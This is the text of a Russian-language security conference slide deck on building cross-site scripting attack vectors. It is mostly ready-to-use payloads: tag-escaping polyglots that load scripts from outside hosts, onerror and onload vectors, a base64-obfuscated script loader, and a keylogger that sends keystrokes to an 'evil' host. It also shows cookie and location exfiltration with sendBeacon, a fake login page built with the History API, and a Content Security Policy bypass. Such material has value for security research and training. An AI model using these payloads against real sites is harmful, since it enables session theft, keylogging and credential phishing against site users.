Лопаницын Bo0oM Антон
"><script>alert()</script>
В поисках идеального вектора атаки
“Ты ваще кто?”
Краткий обзор XSS векторов
Разбор вектора
Экранирование минуса? Закрывает комментарий-->
‘>">
</style>
</div></article>
</script>
">
<script src=
https://securityz.net/1.js?>
Закрытие атрибутов тега
Закрытие тегов
На всякий случай
Ссылка на https сценарий
83 символа
Разбор вектора
-->‘>"></style></div></article></script>"><script
src=https://securityz.net/1.js?>
83 символа
'"--></style></script><script src=//securityz.net/1.js>
55 символов
Где не выполнится скрипт?
Зачем закрывать теги?
<iframe>
<noembed>
<noscript>
<style>
<xmp>
<script>
<noframes>
<textarea>
<title>
<plaintext>
<template>
<frameset>
< магические теги
Зачем закрывать теги?
<iframe>
<noembed>
<noscript>
<style>
<xmp>
<script>
<noframes>
<textarea>
<title>
<plaintext>
<template>
<frameset>
< магические теги
Выбираем теги
</noscript></style></script></textarea></title>
Выбираем теги
<img> VS <svg>
onError onLoad
src + вызов ошибки
Выбираем теги
<img src onerror=alert()>
<svg onload=alert()>
vs
Выбираем теги
Выбираем теги
Разбираемся в протоколах
Разбираемся в протоколах
<a href=”XXX”>Homepage</a>
<iframe src=”XXX”></iframe>
Разбираемся в протоколах
data:
Разбираемся в протоколах
data:
Разбираемся в протоколах
data:
Разбираемся в протоколах
data:
<script src=data:,alert()></script>
Разбираемся в протоколах
javascript:
javascript:alert()
Все просто
Разбираемся в протоколах
Текущий протокол - //
http://example.com => <a href=//test> => http://test
https://example.com => <a href=//test> => https://test
Разбираемся в протоколах
<a href='//test'>click me</a>
Разбираемся в протоколах
Разбираемся в протоколах
Разбираемся в протоколах
Закрываем атрибуты
"> '> -->
==
"'-->
Еще частные случаи
<script> /* XXX */ </script>
<script> // XXX </script>
<script> `XXX` </script>
Еще частные случаи
<script> a = 'XXX'</script>
<script> a = "XXX"</script>
X’X”X => replace
<script> a = 'X'X"X'</script>
<script> a = "X'X"X"</script>
Еще частные случаи
X'X"X =>
<script> a = 'X'X"X'</script>
<script> a = "X’X"X"</script>
Вектор CRLF
javascript:"/*'/*`/*--
></noscript></title></textarea></style></template></noem
bed></script><html
"%0Aonmouseover=/*%26lt;svg/*/onload=alert()//>
Ок, делаем cвой вектор дальше
"'--></noscript></style></script></textarea></title>
+
<img/src/onerror=alert()>
?
Да?
НЕТ
Подключение внешнего сценария
x=document.createElement('script')
x.src='//evil'
document.body.appendChild(x)
Подключение внешнего сценария
atob(/ZD1kb2N1bWVudCx4PWQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk
KeC5zcmM9J2RhdGE6LGFsZXJ0KCknCmQuYm9keS5hcHBlbmRDaGlsZCh
4KQ==/.source)
setTimeout(atob(/ZD1kb2N1bWVudCx4PWQuY3JlYXRlRWxlbWVudCgnc
2NyaXB0JykKeC5zcmM9J2RhdGE6LGFsZXJ0KCknCmQuYm9keS5hcHBlbmR
DaGlsZCh4KQ==/.source))
Отправка данных
Keylogger
var xhr = new XMLHttpRequest(); xhr.open...
fetch(//evil)
Keylogger
<img src onerror='
onkeypress=
(e)=>{fetch("//evil?k="+String.fromCharCode
(e.which))}
,this.remove()
'>
Keylogger
Keylogger
Отправка данных
Отправка данных
navigator.sendBeacon(//evil.com’,
location.href)
Отправка данных
cookie
localStorage
document.documentElement
Перезапись документа
document.write()
document.documentElement.innerHTML=’’
document.body.innerHTML=’’
HTML5 History API
history.pushState(0, 0, '/login');
Эксплуатация - inspectlet.com
Content Security Policy
CSP Bypass
f=document.createElement("iframe")
f.src="/css/bootstrap.min.css"
document.body.appendChild(f)
CSP Bypass
s=document.createElement('script')
s.src='//bo0om.ru/csp.js'
let f = window.frames[0].document
f.head.appendChild(s)
СПАСИБО
ЗА ВНИМАНИЕ!
https://twitter.com/i_bo0om

KazHackStan - "><script>alert()</script>

Editor's Notes

  • #17 Если мы закроем тег – замечательно!
  • #29 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #30 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #31 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #32 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #33 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #34 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки
  • #35 Можно также закрывать символы бэктика, в которых обрамляются шаблонизированные строки